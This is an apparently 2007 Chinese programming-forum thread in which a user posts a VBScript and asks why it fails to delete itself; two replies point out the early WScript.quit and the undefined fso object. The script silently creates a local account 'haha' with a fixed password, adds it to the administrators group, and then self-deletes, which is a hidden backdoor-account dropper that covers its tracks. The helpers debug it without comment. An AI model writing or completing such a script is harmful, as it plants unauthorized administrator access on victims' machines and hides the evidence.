标题: VBS删自身文件又生疑云 [打印本页]
作者: heicai 时间: 2007-6-2 10:09 标题: VBS删自身文件又生疑云
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit
fso.DeleteFile(WScript.ScriptFullName)
这段代码不知道哪有错误，无法实现删除自身。请教大虾指点Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit
fso.DeleteFile(WScript.ScriptFullName)
作者: jmz573515 时间: 2007-6-2 10:35
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(2000)
Wsh.Run "cmd /c net user haha 121212 /add&net localgroup administrators haha /add",false,false
Set Wsh=NoThing
WScript.quit '这个地方已以退出了脚本，所以没法删除（把这句去掉就可以了）
fso.DeleteFile(WScript.ScriptFullName)
作者: 3742668 时间: 2007-6-2 10:57
But,Where is fso from?
Set fso = CreateObject("Scripting.FileSystemObject")
...
...
作者: jmz573515 时间: 2007-6-2 14:23
哈哈，没有细看....
作者: heicai 时间: 2007-6-2 19:33
感谢两位帮忙，问题终于解决